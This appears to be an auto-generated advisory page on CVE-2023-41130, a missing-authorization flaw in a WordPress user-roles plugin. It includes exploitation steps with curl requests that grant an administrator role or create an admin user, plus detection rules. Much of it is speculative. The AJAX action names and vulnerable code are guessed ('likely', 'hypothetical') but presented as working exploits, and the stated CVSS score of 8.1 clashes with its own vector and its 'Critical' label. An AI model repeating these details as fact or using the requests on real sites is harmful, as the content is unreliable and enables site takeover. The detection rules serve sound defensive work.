CVE-2023-41130
Executive Summary
CVE-2023-41130 is a critical Missing Authorization vulnerability in the Premmerce User Roles WordPress plugin (versions <= 1.0.12). This flaw allows an unauthenticated attacker to exploit incorrectly configured access control security levels, potentially leading to privilege escalation, data exposure, or complete site compromise. The vulnerability resides in the plugin's failure to properly enforce capability checks on certain AJAX actions or REST endpoints, enabling unauthorized users to modify user roles or access sensitive administrative functions. As a WordPress plugin, this issue directly impacts the WordPress ecosystem and does not involve Apache or Nginx server software.
Key Risk: Unauthenticated attackers can manipulate user roles, potentially granting themselves administrative privileges, leading to full site takeover.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin via the WordPress admin dashboard or through automated deployment tools (e.g., Composer, WP-CLI) are at risk. The plugin's supply chain is compromised due to the lack of a patch, meaning any site running version 1.0.12 or earlier is vulnerable. Organizations should immediately audit their WordPress installations for this plugin and consider removing it until a patch is released.
CVSS Breakdown & Threat Level
- CVSS Score: 8.1 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High
Threat Level: Critical. The combination of no authentication required, low complexity, and high impact makes this vulnerability highly attractive to attackers. The EPSS score of 0.0% suggests low exploitation likelihood currently, but this may change as proof-of-concept code emerges.
Deep Dive & Mechanics
The vulnerability stems from the Premmerce User Roles plugin's failure to implement proper authorization checks on sensitive AJAX handlers or REST API endpoints. Specifically, the plugin likely registers WordPress AJAX actions (e.g., wp_ajax_* or wp_ajax_nopriv_*) that modify user roles or capabilities without verifying the current user's permissions. This allows an unauthenticated attacker to send crafted requests to these endpoints and escalate privileges.
Root Cause: The plugin uses add_action('wp_ajax_nopriv_...', ...) for actions that should require authentication, or it fails to call current_user_can() or wp_verify_nonce() before processing the request.
Attack Flow:
- Attacker identifies the vulnerable AJAX action (e.g.,
premmerce_update_role). - Attacker crafts a POST request with parameters to assign themselves an administrator role.
- The plugin processes the request without checking if the user is logged in or has the
manage_optionscapability. - The attacker gains administrative access to the WordPress site.
Vulnerable vs. Patched Code
Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable version likely contains code similar to:
Vulnerable Code (premmerce-user-roles.php):
add_action('wp_ajax_nopriv_premmerce_update_role', 'premmerce_update_role_callback');
function premmerce_update_role_callback() {
$user_id = $_POST['user_id'];
$role = $_POST['role'];
$user = new WP_User($user_id);
$user->set_role($role);
wp_send_json_success();
}
Patched Code (Hypothetical):
add_action('wp_ajax_premmerce_update_role', 'premmerce_update_role_callback');
function premmerce_update_role_callback() {
if (!current_user_can('manage_options')) {
wp_die('Unauthorized');
}
check_ajax_referer('premmerce_update_role_nonce', 'nonce');
$user_id = intval($_POST['user_id']);
$role = sanitize_text_field($_POST['role']);
$user = new WP_User($user_id);
$user->set_role($role);
wp_send_json_success();
}
The patched version would:
- Use
wp_ajax_(authenticated) instead ofwp_ajax_nopriv_(unauthenticated). - Add capability checks with
current_user_can(). - Implement nonce verification with
check_ajax_referer(). - Sanitize and validate input.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Target WordPress site with Premmerce User Roles <= 1.0.12 installed and activated.
- No authentication required.
Exploitation Steps:
Identify the vulnerable endpoint: Use browser developer tools or a proxy (e.g., Burp Suite) to inspect AJAX requests made by the plugin. Look for actions like
premmerce_update_roleor similar.Craft the exploit request:
curl -X POST https://target.com/wp-admin/admin-ajax.php \
-d "action=premmerce_update_role&user_id=1&role=administrator"
- Verify privilege escalation: After executing the request, log in as the target user (if known) or check if a new admin user was created. The attacker can now access the WordPress admin dashboard.
Alternative Exploit (if user creation is possible):
curl -X POST https://target.com/wp-admin/admin-ajax.php \
-d "action=premmerce_create_user&user_login=attacker&user_pass=password123&role=administrator"
Blue Team (Detection & Hardening)
Detection:
- Monitor for unusual AJAX requests to
admin-ajax.phpwith actions containingpremmerce_from unauthenticated users. - Look for rapid role changes or user creation events in WordPress logs.
- Use the Sigma rule provided in the Detection Engineering section.
Hardening:
- Immediately disable or remove the Premmerce User Roles plugin until a patch is available.
- Implement a Web Application Firewall (WAF) rule to block requests to
admin-ajax.phpwithactionparameters matchingpremmerce_*from unauthenticated sources. - Enforce strong authentication and authorization for all AJAX endpoints using custom code or a security plugin.
Indicators of Compromise (IOCs)
Network IOCs:
- POST requests to
/wp-admin/admin-ajax.phpwithaction=premmerce_*parameters. - Unusual user agent strings in requests targeting the plugin's endpoints.
File IOCs:
- Presence of the plugin directory:
/wp-content/plugins/premmerce-user-roles/ - Modified WordPress user meta data indicating role changes.
Log IOCs:
- WordPress debug log entries showing
premmerce_update_roleor similar actions. - Apache/Nginx access logs with
POST /wp-admin/admin-ajax.phpandaction=premmerce_*in the request body.
Sample IOC (Suspicious Request):
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 45
action=premmerce_update_role&user_id=1&role=administrator
Detection Engineering
YARA Rule
rule premmerce_user_roles_exploit {
meta:
description = "Detects exploitation attempts of CVE-2023-41130 in Premmerce User Roles plugin"
author = "Valters IT"
date = "2025-04-17"
reference = "CVE-2023-41130"
strings:
$ajax_action = "premmerce_update_role" nocase
$ajax_action2 = "premmerce_create_user" nocase
$role_admin = "administrator" nocase
$role_editor = "editor" nocase
condition:
any of ($ajax_action*) and any of ($role_admin, $role_editor)
}
Sigma Rule
title: CVE-2023-41130 Premmerce User Roles Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of missing authorization vulnerability in Premmerce User Roles plugin
author: Valters IT
date: 2025/04/17
references:
- https://nvd.nist.gov/vuln/detail/CVE-2023-41130
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/wp-admin/admin-ajax.php'
cs-uri-query|contains: 'action=premmerce_'
condition: selection
falsepositives:
- Legitimate admin actions (rare)
level: high
Suricata Rule
alert http $EXTERNAL_NET any -> $HOME_NET any (
msg:"CVE-2023-41130 Premmerce User Roles Exploitation Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"/wp-admin/admin-ajax.php"; http_uri;
content:"action=premmerce_"; http_client_body;
classtype:attempted-admin;
sid:10000001;
rev:1;
reference:cve,2023-41130;
)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin: Deactivate and delete the Premmerce User Roles plugin from all WordPress installations.
- Audit user roles: Review all user accounts for unauthorized role changes. Revoke any suspicious administrative privileges.
- Check for backdoors: Scan the WordPress installation for any malicious files or code injections.
Long-term Mitigation:
- Monitor the plugin's official page for a security patch. If none is released, consider replacing the plugin with an alternative that provides similar functionality but is actively maintained.
- Implement a WordPress security plugin (e.g., Wordfence, Sucuri) that can detect and block unauthorized AJAX requests.
- Enforce the principle of least privilege for all WordPress users and plugins.
Patch Details: No official patch is available at this time. Users are advised to remove the plugin entirely.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.